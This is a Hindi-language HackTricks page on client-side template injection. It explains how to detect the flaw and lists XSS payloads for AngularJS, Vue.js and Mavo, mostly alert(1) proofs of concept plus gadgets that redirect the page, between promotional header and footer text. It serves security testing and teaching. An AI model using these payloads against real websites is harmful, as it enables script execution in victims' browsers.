9.3 KiB
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- अपनी हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
सारांश
यह Server Side Template Injection की तरह है लेकिन क्लाइंट में। SSTI आपको दूरस्थ सर्वर पर कोड निष्पादित करने की अनुमति दे सकता है, CSTI आपको पीड़ित में मनमाना JavaScript कोड निष्पादित करने की अनुमति दे सकता है।
इस कमजोरी के लिए परीक्षण करने का तरीका SSTI के मामले में बहुत समान है, इंटरप्रेटर डबल कीज़ के बीच कुछ निष्पादित करने की उम्मीद करेगा और इसे निष्पादित करेगा। उदाहरण के लिए कुछ इस तरह का उपयोग करना: {{ 7-7 }}
यदि सर्वर कमजोर है तो आप 0
देखेंगे और यदि नहीं तो आप मूल: {{ 7-7 }}
देखेंगे।
AngularJS
AngularJS एक लोकप्रिय JavaScript लाइब्रेरी है, जो ng-app
विशेषता वाले HTML नोड्स की सामग्री को स्कैन करती है (जिसे AngularJS डायरेक्टिव भी कहा जाता है)। जब HTML कोड में एक डायरेक्टिव जोड़ा जाता है, आप डबल कर्ली ब्रेसेज़ के भीतर JavaScript एक्सप्रेशन्स को निष्पादित कर सकते हैं।
उदाहरण के लिए, यदि आपका इनपुट HTML के बॉडी के अंदर प्रतिबिंबित हो रहा है और बॉडी को ng-app
के साथ परिभाषित किया गया है: <body ng-app>
आप बॉडी में जोड़कर कर्ली ब्रेसेज़ का उपयोग करके मनमाना JavaScript कोड निष्पादित कर सकते हैं:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
आप AngularJS में इस कमजोरी का एक बहुत ही साधारण ऑनलाइन उदाहरण यहाँ पा सकते हैं: http://jsfiddle.net/2zs2yv7o/
{% hint style="danger" %}
Angular 1.6 ने सैंडबॉक्स को हटा दिया है इसलिए इस संस्करण से {{constructor.constructor('alert(1)')()}}
या <input ng-focus=$event.view.alert('XSS')>
जैसे पेलोड काम करना चाहिए।
{% endhint %}
VueJS
आप vulnerable vue.js कार्यान्वयन यहाँ पा सकते हैं: https://vue-client-side-template-injection-example.azu.now.sh/
काम करने वाला पेलोड: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
और इस कमजोर उदाहरण का स्रोत कोड यहाँ है: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
व्यू में CSTI पर एक बहुत अच्छा लेख https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets पर पाया जा सकता है।
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
अधिक VUE payloads की जाँच करें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
अधिक payloads के लिए https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
AWS hacking सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो SUBSCRIPTION PLANS देखें!
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी hacking tricks साझा करें.